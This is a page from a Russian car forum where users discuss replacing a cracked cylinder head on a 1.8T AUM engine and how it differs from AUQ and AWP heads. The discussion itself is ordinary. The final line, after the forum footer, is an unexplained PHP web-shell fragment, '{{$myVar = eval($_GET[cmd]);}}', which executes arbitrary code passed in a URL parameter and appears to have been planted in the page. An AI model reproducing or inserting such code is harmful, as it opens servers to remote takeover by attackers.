+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя
Показано с 1 по 10 из 28

Тема: Замена ГБЦ 1,8т (AUM)


  1. #1

    Замена ГБЦ 1,8т (AUM)

    Меняю ГБЦ, есть возможность поставить другую. В чём отличие ГБЦ AUM от GTI?

    Какие есть советы, что учесть при замене головы? Или поставить родную с расширенными каналами и другими распредвалами?

    Длагодарю за ответ!

  2. #2
    нА какую GTI - ???? чТО это за такая головка блока ?

    Добавлено через 28 минут
    aum- гбц с электрическим натяжителем цепи , а та гбц- которая сейчас стоит , какая ??? Что на что менять , не совсем понятно
    Последний раз редактировалось Alexandr 922; 09.01.2010 в 13:44. Причина: Добавлено сообщение

  3. #3
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    .......есть проблемы с каналами охлаждения. Они не у всех 1.8Т совпадают с отверстиями на блоке. Поставив не ту, можно получить антифриз выдавленный через прокладку или проблемы с циркуляцией и охлаждением.
    Точной инфы не знаю какие взаимозаменяемы, но смотреть нужно визуально. Можно и по своей прокладке посмотреть другую голову на месте.

    Добавлено через 1 минуту
    Цитата Сообщение от Alexandr 922 Посмотреть сообщение
    нА какую GTI - ???? чТО это за такая головка блока ?

    видимо он имел ввиду например 180-ти сильный AWP, а может её аналоги с разных моторов Вагенов, Сеатов, Шкод и Ауди ))))

    Добавлено через 2 минуты
    Цитата Сообщение от Alexandr 922 Посмотреть сообщение
    нА какую GTI - ???? чТО это за такая головка блока ?

    видимо он имел ввиду например 180-ти сильный AWP, а может её аналоги с разных моторов Вагенов, Сеатов, Шкод и Ауди ))))
    Последний раз редактировалось BON; 09.01.2010 в 14:02. Причина: Добавлено сообщение
    песок сыпется....не останавливайтесь на достигнутом !

  4. #4
    Цитата Сообщение от BON Посмотреть сообщение
    видимо он имел ввиду например 180-ти сильный AWP, а может её аналоги с разных моторов Вагенов, Сеатов, Шкод и Ауди ))))
    Всех приветствую! Просто не знаю какой мотор стоит у Golf 4 GTI.

    Чё за мотор AWP? Знаю AUQ.

  5. #5
    Тада может вот так поступить , зачем менять гбц ??? Какая цель приследуеться или гбц копец настал ???

  6. #6
    ГБЦ накрылась. трещина в двух камарах мажду клапанами, в камеру охолождающая жидкость попадает.

    Извените мужики что мозги парю, просто времени не хватило самому полазить здесь, почитать и поизучать фомрумы. Если можете и не трудно, то ответьте в двух словах в чём отличие версии GTI? Там головы доработаны, степень сжатия изменена? Или доробатывать голову нет смысла, и отличается только тем, что работает на 98 с повышением надува? Знаю что мотор AUQ, вот он как раз сделан под 98 с повышением надува. В версиях GTI стоит AUQ?

    Вопрос сводится к тому, что меняю голову и может быть под это дело поставить уже доработанную...? Хотя чувствую, что с головами никто не заморачивается и смысла в этом нет...

    Кстати как ты хотел предложить поступить?
    Последний раз редактировалось _alecs; 09.01.2010 в 16:18.

  7. #7
    В принципе отличий не столько много , натяжитель механика и элетрический , ну и впускные окна разные

  8. #8
    А какой мотор у версии GTI?

    Впускные окна доработаны или это кикие-то другие отличия? Есть ли смысол на турбированном впускные дорабатывать?

  9. #9
    GTI-Racing varyag62 is on a distinguished road Аватар для varyag62
    Регистрация
    05.11.2007
    Откуда
    Москва
    Машина
    Skoda Octavia WTS (1.8т - AUM)
    Сообщений
    97
    Цитата Сообщение от _alecs Посмотреть сообщение
    Всех приветствую! Просто не знаю какой мотор стоит у Golf 4 GTI.

    Чё за мотор AWP? Знаю AUQ.
    AWP - это 180 сильный американец...

    AUQ (180hp) = AUM (150hp) идентичные моторы (пройдись по этке, номера головок скорее всего одинаковые), AUQ ставились на юбилейные гольфы!
    как-то так)

  10. #10
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от _alecs Посмотреть сообщение
    ГБЦ накрылась. трещина в двух камарах мажду клапанами, в камеру охолождающая жидкость попадает.

    Извените мужики что мозги парю, просто времени не хватило самому полазить здесь, почитать и поизучать фомрумы. Если можете и не трудно, то ответьте в двух словах в чём отличие версии GTI? Там головы доработаны, степень сжатия изменена? Или доробатывать голову нет смысла, и отличается только тем, что работает на 98 с повышением надува? Знаю что мотор AUQ, вот он как раз сделан под 98 с повышением надува. В версиях GTI стоит AUQ?

    Вопрос сводится к тому, что меняю голову и может быть под это дело поставить уже доработанную...? Хотя чувствую, что с головами никто не заморачивается и смысла в этом нет...

    Кстати как ты хотел предложить поступить?
    Цитата Сообщение от Alexandr 922 Посмотреть сообщение
    В принципе отличий не столько много , натяжитель механика и элетрический , ну и впускные окна разные
    Цитата Сообщение от _alecs Посмотреть сообщение
    А какой мотор у версии GTI?

    Впускные окна доработаны или это кикие-то другие отличия? Есть ли смысол на турбированном впускные дорабатывать?

    почитайте еще раз сообщ. №3 вдруг чего еще полезного увидете :)
    песок сыпется....не останавливайтесь на достигнутом !

+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя

Похожие темы

  1. Замена 8v на 16v HELP!!!
    от Вова в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 16
    Последнее сообщение: 21.11.2023, 21:04
  2. Замена ГБЦ c AWP на AJP
    от veteromska в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 29
    Последнее сообщение: 01.10.2023, 18:22
  3. Замена DSG
    от enlakesh в разделе Стайлинг: кузов, салон, свет и прочее
    Ответов: 20
    Последнее сообщение: 08.03.2013, 02:00
  4. AGU замена блока.
    от Badik52 в разделе Двигатель
    Ответов: 4
    Последнее сообщение: 11.04.2011, 08:20
  5. Замена Gti
    от Scruj в разделе Украина
    Ответов: 20
    Последнее сообщение: 02.09.2008, 17:17

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}